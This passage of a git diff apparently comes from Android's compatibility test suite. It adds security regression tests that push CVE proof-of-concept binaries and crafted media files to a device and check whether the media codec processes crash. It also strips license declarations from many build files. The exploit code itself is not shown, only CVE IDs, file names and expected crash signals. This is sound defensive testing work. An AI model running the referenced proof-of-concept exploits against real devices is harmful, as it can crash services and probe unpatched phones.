+ boolean containsDriver = false;
+ if (driver.contains("*")) {
+ // -A list all files but . and ..
+ // -d directory, not contents
+ // -1 list one file per line
+ // -f unsorted
+ String ls = "ls -A -d -1 -f " + driver;
+ if (AdbUtils.runCommandGetExitCode(ls, device) == 0) {
+ String[] expanded = device.executeShellCommand(ls).split("\\R");
+ for (String expandedDriver : expanded) {
+ containsDriver |= containsDriver(device, expandedDriver);
+ }
+ }
+ } else {
+ containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
+ }
MetricsReportLog reportLog = buildMetricsReportLog(getDevice());
reportLog.addValue("path", driver, ResultType.NEUTRAL, ResultUnit.NONE);
@@ -258,7 +282,15 @@
}
private long getDeviceUptime() throws DeviceNotAvailableException {
- String uptime = getDevice().executeShellCommand("cat /proc/uptime");
+ String uptime = null;
+ int attempts = 5;
+ do {
+ if (attempts-- <= 0) {
+ throw new RuntimeException("could not get device uptime");
+ }
+ getDevice().waitForDeviceAvailable();
+ uptime = getDevice().executeShellCommand("cat /proc/uptime").trim();
+ } while (uptime.isEmpty());
return Long.parseLong(uptime.substring(0, uptime.indexOf('.')));
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index f62bc8f..987e3e3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -26,6 +26,7 @@
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import static org.junit.Assert.*;
+import static org.junit.Assume.*;
import junit.framework.Assert;
import java.util.Arrays;
import java.util.ArrayList;
@@ -45,6 +46,222 @@
******************************************************************************/
/**
+ * b/17769851
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2015-12")
+ @Test
+ public void testPocCVE_2015_6616() throws Exception {
+ pocPusher.only64();
+ String inputFiles[] = {"cve_2015_6616.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2015-6616",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/37239013
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2017-07")
+ @Test
+ public void testPocCVE_2017_0697() throws Exception {
+ String inputFiles[] = {"cve_2017_0697.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0697",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/127702368
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2126() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2126", null, getDevice());
+ }
+
+ /**
+ * b/66969349
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2018-01")
+ @Test
+ public void testPocCVE_2017_13180() throws Exception {
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13180", null, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/111210196
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-12")
+ @Test
+ public void testPocCVE_2019_2228() throws Exception {
+ String inputFiles[] = {"cve_2019_2228_ipp.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2228",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/157650336
+ * Vulnerability Behaviour: SIGSEGV in self / EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2020-11")
+ @Test
+ public void testPocCVE_2020_0450() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0450", null, getDevice());
+ }
+
+ /**
+ * b/156997193
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-11")
+ @Test
+ public void testPocCVE_2020_0409() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2020-0409";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/156999009
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-10")
+ @Test
+ public void testPocCVE_2020_0408() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2020-0408";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/161894517
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-10")
+ @Test
+ public void testPocCVE_2020_0421() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2020-0421";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/132082342
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2133() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2133", null, getDevice());
+ }
+
+ /**
+ * b/132083376
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2134() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2134", null, getDevice());
+ }
+
+ /**
+ * b/31470908
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2017-04")
+ @Test
+ public void testPocCVE_2016_10244() throws Exception {
+ String inputFiles[] = {"cve_2016_10244"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-10244",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/27793367
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2016-06")
+ @Test
+ public void testPocCVE_2016_2485() throws Exception {
+ String inputFiles[] = {"cve_2016_2485.raw"};
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-2485",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/141890807
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2020-01")
+ @Test
+ public void testPocCVE_2020_0007() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0007", null, getDevice());
+ }
+
+ /**
+ * b/118372692
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-02")
+ @Test
+ public void testPocCVE_2019_1988() throws Exception {
+ String inputFiles[] = {"cve_2019_1988.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-1988",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/63522430
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2018-01")
+ @Test
+ public void testPocCVE_2017_0817() throws Exception {
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0817", null, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/36104177
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2017-09")
+ @Test
+ public void testPocCVE_2017_0670() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0670", null, getDevice());
+ }
+
+ /**
+ * b/68159767
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2018-02")
+ @Test
+ public void testPocCVE_2017_13234() throws Exception {
+ String inputFiles[] = { "cve_2017_13234.xmf" };
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13234",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
* b/74122779
* Vulnerability Behaviour: SIGABRT in audioserver
*/
@@ -162,6 +379,7 @@
@SecurityTest(minPatchLevel = "2017-11")
@Test
public void testPocCVE_2017_0840() throws Exception {
+ pocPusher.only32();
String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0840", null, getDevice(),
processPatternStrings);
@@ -174,6 +392,7 @@
@SecurityTest(minPatchLevel = "2018-02")
@Test
public void testPocCVE_2017_13241() throws Exception {
+ pocPusher.only32();
String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13241", null, getDevice(),
processPatternStrings);
@@ -279,6 +498,26 @@
******************************************************************************/
/**
+ * b/158762825
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-11")
+ @Test
+ public void testPocCVE_2020_0451() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.media.swcodec"));
+ String inputFiles[] = {"cve_2020_0451.aac"};
+ String binaryName = "CVE-2020-0451";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
* b/112891564
* Vulnerability Behaviour: SIGSEGV in self (Android P),
* SIGABRT in self (Android Q onward)
@@ -300,12 +539,40 @@
******************************************************************************/
/**
+ * b/143464314
+ * Vulnerability Behaviour: SIGSEGV in self / EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2020-10")
+ @Test
+ public void testPocCVE_2020_0213() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.media.swcodec"));
+ String inputFiles[] = {"cve_2020_0213.hevc", "cve_2020_0213_info.txt"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0213",
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/166268541
+ * Vulnerability Behaviour: SIGSEGV in media.swcodec
+ */
+ @SecurityTest(minPatchLevel = "2020-12")
+ @Test
+ public void testPocCVE_2020_0470() throws Exception {
+ String inputFiles[] = {"cve_2020_0470.mp4"};
+ String processPatternStrings[] = {"media\\.swcodec"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0470",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
* b/120426980
* Vulnerability Behaviour: SIGABRT in self
*/
@SecurityTest(minPatchLevel = "2019-09")
@Test
- public void testPocCVE_2019_9362() throws Exception {
+ public void testPocCVE_2019_9362() throws Exception {
String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
String binaryName = "CVE-2019-9362";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
@@ -355,6 +622,7 @@
@SecurityTest(minPatchLevel = "2019-09")
@Test
public void testPocCVE_2019_9347() throws Exception {
+ pocPusher.only32();
String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-9347", null, getDevice(),
processPatternStrings);
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp
index 5a2039a..73aa36e 100644
--- a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsHostLaunchAnyWhereApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/settings/Android.bp b/hostsidetests/settings/Android.bp
index 66a198b..164beee 100644
--- a/hostsidetests/settings/Android.bp
+++ b/hostsidetests/settings/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsSettingsHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/Android.bp b/hostsidetests/settings/app/DeviceOwnerApp/Android.bp
index 8bd223d..5fd8e6b 100644
--- a/hostsidetests/settings/app/DeviceOwnerApp/Android.bp
+++ b/hostsidetests/settings/app/DeviceOwnerApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSettingsDeviceOwnerApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/shortcuts/deviceside/Android.bp b/hostsidetests/shortcuts/deviceside/Android.bp
index bd66d27..1981e4a 100644
--- a/hostsidetests/shortcuts/deviceside/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_defaults {
name: "hostsidetests-shortcuts-deviceside-defaults",
static_libs: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.bp
index c5705e1..98df20f 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsShortcutBackupLauncher1",
defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.bp
index 52b58c8..e6f48a2 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsShortcutBackupLauncher2",
defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.bp
index b032c0b..ab286df 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsShortcutBackupLauncher3",
defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.bp
index 64124bf..aa3228f 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsShortcutBackupLauncher4new",
defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.bp
index 9167807..96672d6 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsShortcutBackupLauncher4old",
defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.bp
index d4998ce..4a82860 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsShortcutBackupPublisher1",
defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.bp
index ba9b12c..d64693f 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsShortcutBackupPublisher2",
defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.bp
index 8dc0019..f5eaff7 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsShortcutBackupPublisher3",
defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.bp
index a68c714..7abb9de 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsShortcutBackupPublisher4new",
defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.bp
index 04e9e81..28e0a5c 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsShortcutBackupPublisher4new_nobackup",
defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.bp
index 760ea43..85c6815 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsShortcutBackupPublisher4new_nomanifest",
defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.bp
index 323847a..0837f42 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsShortcutBackupPublisher4new_wrongkey",
defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.bp
index e8c0487..96630fc 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsShortcutBackupPublisher4old",
defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.bp
index 13b9227..d48db7b 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsShortcutBackupPublisher4old_nomanifest",
defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/common/Android.bp b/hostsidetests/shortcuts/deviceside/common/Android.bp
index bbd86c8..a94a29a 100644
--- a/hostsidetests/shortcuts/deviceside/common/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/common/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "hostsidetests-shortcuts-deviceside-common",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/shortcuts/deviceside/multiuser/Android.bp b/hostsidetests/shortcuts/deviceside/multiuser/Android.bp
index 9c3eef4..dcbdabd 100644
--- a/hostsidetests/shortcuts/deviceside/multiuser/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/multiuser/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsShortcutMultiuserTest",
defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/Android.bp b/hostsidetests/shortcuts/deviceside/upgrade/Android.bp
index 098f291..d664097 100644
--- a/hostsidetests/shortcuts/deviceside/upgrade/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/upgrade/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
// We build two APKs from the same source files, each with a different set of resources.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsShortcutUpgradeVersion1",
defaults: [
diff --git a/hostsidetests/shortcuts/hostside/Android.bp b/hostsidetests/shortcuts/hostside/Android.bp
index 27ebc0f..b6ff84f 100644
--- a/hostsidetests/shortcuts/hostside/Android.bp
+++ b/hostsidetests/shortcuts/hostside/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsShortcutHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/signedconfig/app/Android.bp b/hostsidetests/signedconfig/app/Android.bp
index 8d69ce9..e47f9b7 100644
--- a/hostsidetests/signedconfig/app/Android.bp
+++ b/hostsidetests/signedconfig/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_defaults {
name: "CtsSignedConfigDefaults",
sdk_version: "current",
diff --git a/hostsidetests/signedconfig/hostside/Android.bp b/hostsidetests/signedconfig/hostside/Android.bp
index db3e84f..ebb4aaa 100644
--- a/hostsidetests/signedconfig/hostside/Android.bp
+++ b/hostsidetests/signedconfig/hostside/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsSignedConfigHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/stagedinstall/Android.bp b/hostsidetests/stagedinstall/Android.bp
index 8ea3089..3e87531 100644
--- a/hostsidetests/stagedinstall/Android.bp
+++ b/hostsidetests/stagedinstall/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsStagedInstallHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/Android.bp b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/Android.bp
index 9a926c1..09fb908 100644
--- a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/Android.bp
+++ b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/Android.bp
@@ -12,16 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- // See: http://go/android-license-faq
- // A large-scale-change added 'default_applicable_licenses' to import
- // all of the 'license_kinds' from "cts_license"
- // to get the below license kinds:
- // SPDX-license-identifier-Apache-2.0
- // SPDX-license-identifier-NCSA
- default_applicable_licenses: ["cts_license"],
-}
-
android_app_import {
name: "CtsShimTargetPSdkPrebuilt",
// Make sure the build system doesn't try to resign the APK
@@ -43,4 +33,4 @@
},
},
presigned: true,
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/sustainedperf/Android.mk b/hostsidetests/sustainedperf/Android.mk
index 6a5efef..3187415 100644
--- a/hostsidetests/sustainedperf/Android.mk
+++ b/hostsidetests/sustainedperf/Android.mk
@@ -24,8 +24,6 @@
LOCAL_COMPATIBILITY_SUITE := cts general-tests
LOCAL_MODULE := CtsSustainedPerformanceHostTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0 SPDX-license-identifier-BSD SPDX-license-identifier-MIT SPDX-license-identifier-NCSA
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/sustainedperf/dhrystone/Android.mk b/hostsidetests/sustainedperf/dhrystone/Android.mk
index 877b468..d86378e 100644
--- a/hostsidetests/sustainedperf/dhrystone/Android.mk
+++ b/hostsidetests/sustainedperf/dhrystone/Android.mk
@@ -7,9 +7,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := dhry
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-BSD SPDX-license-identifier-MIT SPDX-license-identifier-NCSA
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_NOTICE_FILE := $(LOCAL_PATH)/LICENSE.TXT
LOCAL_SRC_FILES := dhry_1.c dhry_2.c
LOCAL_CFLAGS := -O3 -fno-inline-functions -DMSC_CLOCK -DCLK_TCK=1000000
LOCAL_CFLAGS += -Wall -Werror -Wno-incompatible-library-redeclaration
diff --git a/hostsidetests/sustainedperf/shadertoy_android/jni/Android.bp b/hostsidetests/sustainedperf/shadertoy_android/jni/Android.bp
index b93a0a2..a9da55c 100644
--- a/hostsidetests/sustainedperf/shadertoy_android/jni/Android.bp
+++ b/hostsidetests/sustainedperf/shadertoy_android/jni/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libgltest",
srcs: [
diff --git a/hostsidetests/systemui/Android.bp b/hostsidetests/systemui/Android.bp
index 748ac0a..506b789 100644
--- a/hostsidetests/systemui/Android.bp
+++ b/hostsidetests/systemui/Android.bp
@@ -12,10 +12,6 @@
